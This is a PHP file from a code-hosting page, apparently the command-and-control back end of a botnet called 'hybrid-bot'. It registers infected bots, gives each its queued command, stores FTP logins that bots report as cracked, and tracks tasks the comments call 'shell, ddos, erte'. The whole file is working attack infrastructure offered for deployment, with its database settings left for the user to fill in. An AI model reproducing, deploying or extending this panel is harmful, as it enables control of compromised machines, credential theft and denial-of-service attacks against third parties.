PageRenderTime 60ms CodeModel.GetById 33ms RepoModel.GetById 0ms app.codeStats 0ms

/php/getcmd.php

https://bitbucket.org/foilo/hybrid-bot-v1-openshift-quickstarter
PHP | 116 lines | 96 code | 11 blank | 9 comment | 17 complexity | ace59b8a390173fb7406593595269385 MD5 | raw file
  1. <?php
  2. //Error_Reporting(0);
  3. // that whole script will manage bots, it will add bots, update bots and automaticaly delete
  4. // outdated bots
  5. /*******************************************************************/
  6. /************YOU HAVE TO EDIT THIS!!!!!!!!**************************/
  7. /*******************************************************************/
  8. $host = "LOCALHOST"; //database host
  9. $user = "DB_USER"; //database user
  10. $pass = "DB_PASS"; //password for database
  11. $db = "DB_APP_NAME"; // databse name
  12. /*******************************************************************/
  13. /************YOU HAVE TO EDIT THIS!!!!!!!!**************************/
  14. /*******************************************************************/
  15. global $table;
  16. $table = "bots";
  17. global $ftp_table;
  18. $ftp_table = "ftp_table";
  19. $conn = mysql_connect($host, $user, $pass) or die ("Unable to connect to database.");
  20. $select = mysql_select_db($db);
  21. if($select == FALSE){
  22. die('cant select database');
  23. }
  24. class Online {
  25. var $timeout = 600; // for how long we should store bot in DB(in sec)? edit this to match your needs
  26. function Online () {
  27. $this->period = time();
  28. $this->ip = $this->getip();
  29. $this->name = $this->getname();
  30. $this->msg = $this->getmsg();
  31. $this->gcmd = $this->getgcmd();
  32. $this->manage();
  33. $this->delbot();
  34. }
  35. function getgcmd(){ // getting magic number 1
  36. $gcmd = $_GET['gcmd'];
  37. return $gcmd;
  38. }
  39. function getip() { // getting bot's ip address
  40. $ip = htmlspecialchars(addslashes(getenv("REMOTE_ADDR")));
  41. return $ip;
  42. }
  43. function getname() { // getting bot's name
  44. $name = htmlspecialchars(addslashes($_GET['name']));
  45. return $name;
  46. }
  47. function getmsg() { // getting message from our bot
  48. $msg = htmlspecialchars(addslashes($_GET['msg']));
  49. return $msg;
  50. }
  51. function manage() {
  52. if($this->gcmd == 1){
  53. global $table;
  54. $res=mysql_query("SELECT cmd FROM $table WHERE name='".$this->name."'");
  55. for ($i=0, $ROWS=mysql_num_rows($res); $i<$ROWS; $i++){
  56. $row=mysql_fetch_row($res);
  57. for($j=0;$j<count($row);$j++) echo $row[$j];
  58. }
  59. if($row){ // bot already in database
  60. $decry_msg = $this->msg;
  61. global $ftp_table;
  62. if(strstr($decry_msg, "ftpstatus")){ // if were cracking ftp account ..
  63. $temp = explode("!", $decry_msg );
  64. $cracked_ftp = $temp[1];
  65. $ftp_login = $temp[2];
  66. $ftp_pass = $temp[3];
  67. $ftp_status = $ftp_login."!".$ftp_pass;
  68. $STATUS = mysql_query("UPDATE $ftp_table SET result='$ftp_status' WHERE ip='$cracked_ftp'");
  69. if(!$STATUS){
  70. echo "ERROR: ". mysql_error();
  71. }
  72. $result = $ftp_status; // update command to sleep to avoid cracking same shit one more time
  73. $STATUS = mysql_query("UPDATE $table SET name='$this->name', cmd='sleep!6!', period='$this->period', msg='$result' WHERE ip='$this->ip'");
  74. if(!$STATUS){
  75. echo "ERROR: ". mysql_error();
  76. }
  77. }
  78. if(strstr($decry_msg, "Done")){ // something is done, shell, ddos, erte, etc
  79. $STATUS = mysql_query("UPDATE $table SET name='$this->name', cmd='sleep!6!', period='$this->period', msg='$this->msg' WHERE name='$this->name'");
  80. if(!$STATUS){
  81. echo "ERROR: ". mysql_error();
  82. }
  83. } else { // were doing something else like sleeping for example...
  84. $STATUS = mysql_query("UPDATE $table SET name='$this->name', period='$this->period', msg='$this->msg' WHERE name='$this->name'");
  85. if(!$STATUS){
  86. echo "ERROR: ". mysql_error();
  87. }
  88. }
  89. } else { // bot is not in database
  90. $STATUS = mysql_query("INSERT INTO $table (ip, name, cmd, period, msg) VALUES ('$this->ip', '$this->name', '', '$this->period', '$this->msg')");
  91. if(!$STATUS){
  92. echo "ERROR: ". mysql_error();
  93. }
  94. }}
  95. }
  96. function delbot() { // delete outdated bot, probably dead one
  97. global $table;
  98. $STATUS = mysql_query ("DELETE FROM $table WHERE period < ($this->period - $this->timeout)");
  99. if(!$STATUS){
  100. echo "ERROR: ". mysql_error();
  101. }
  102. }
  103. }
  104. $machines = new Online(); // execute whole script
  105. ?>